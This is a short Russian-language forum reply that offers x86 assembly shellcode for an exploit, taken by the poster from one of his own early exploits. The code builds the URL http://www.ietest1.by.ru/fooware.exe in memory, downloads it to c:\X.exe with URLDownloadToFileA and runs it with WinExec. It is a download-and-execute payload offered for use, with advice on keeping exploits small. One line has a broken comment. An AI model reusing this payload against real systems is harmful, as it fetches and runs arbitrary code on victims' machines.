на переносимость я так полагаю ты не рассчитываешь? Как знаешь... но тогда лудше всеравно пиши на асме:
xor ebx, ebx;
add dh, 0xff;
// app name: http://www.ietest1.by.ru/fooware.exe
mov dword ptr[edx-0x28],0x70747468;// save "http"
mov dword ptr[edx-0x24],0x772f2f3a; // save "://w"
mov dword ptr[edx-0x20],0x692e7777;// save "ww.i"
mov dword ptr[edx-0x1c],0x73657465;// save "etes"
mov dword ptr[edx-0x18],0x622e3174;// save "t1.b"
mov dword ptr[edx-0x14],0x75722e79;// save "y.ru"
mov dword ptr[edx-0x10],0x6f6f662f; // save "/foo"
mov dword ptr[edx-0x0c],0x65726177;// save "ware"
mov dword ptr[edx-0x08],0x6578652e;// save ".exe"
mov dword ptr[edx-0x04],ebx;// fill with \x00 on the end
lea eax, [edx-0x28];
add dh, 0xff
mov dword ptr[edx-0x0c],0x785c3a63;// save "c:\X" (file to download)
mov dword ptr[edx-0x08],0x6578652e;// save ".exe"
mov dword ptr[edx-0x04],ebx;// fill with \x00 on the end
lea ecx, [edx-0x0c];// move ecx addr of string (file name)
pop ebx; //set ebx to URLDownloadToFileA entry point
push edx
xor edx,edxset edx to zero
push edx
push edx
push ecx
push eax
push edx
call ebx
pop edx; // restore str addr
// Execute downloaded file:
pop eax; // get WinExec address
xor ebx,ebx
add dh, 0xff
mov dword ptr[edx-0x0c],0x785c3a63;// save "c:\X" (file to download)
mov dword ptr[edx-0x08],0x6578652e;// save ".exe"
mov dword ptr[edx-0x04],ebx;// fill with \x00 on the end
lea ecx, [edx-0x0c];// move ecx addr of string (file name)
push 0x01
push ecx
call eax
---
А адреса URLDownloadToFile и WinExec ищи как хочешь, уже не маленький :)
(извеняюсь за такой некрасивый код, просто я его выдрал с одного из своих первых спроитов %) )
А ты хотел в килобайтах? Нормальный сплоит поменьше сотни байт это однозначно :)
Этот пример закачивает и запускает. Кстати нащет дизассемблера - это был прикол такой??? Если нет, то сначала немного почитай... (не прийми это как обиду, это просто совет... я когда-тоже такой был :) а наверное таким и остался :) )
|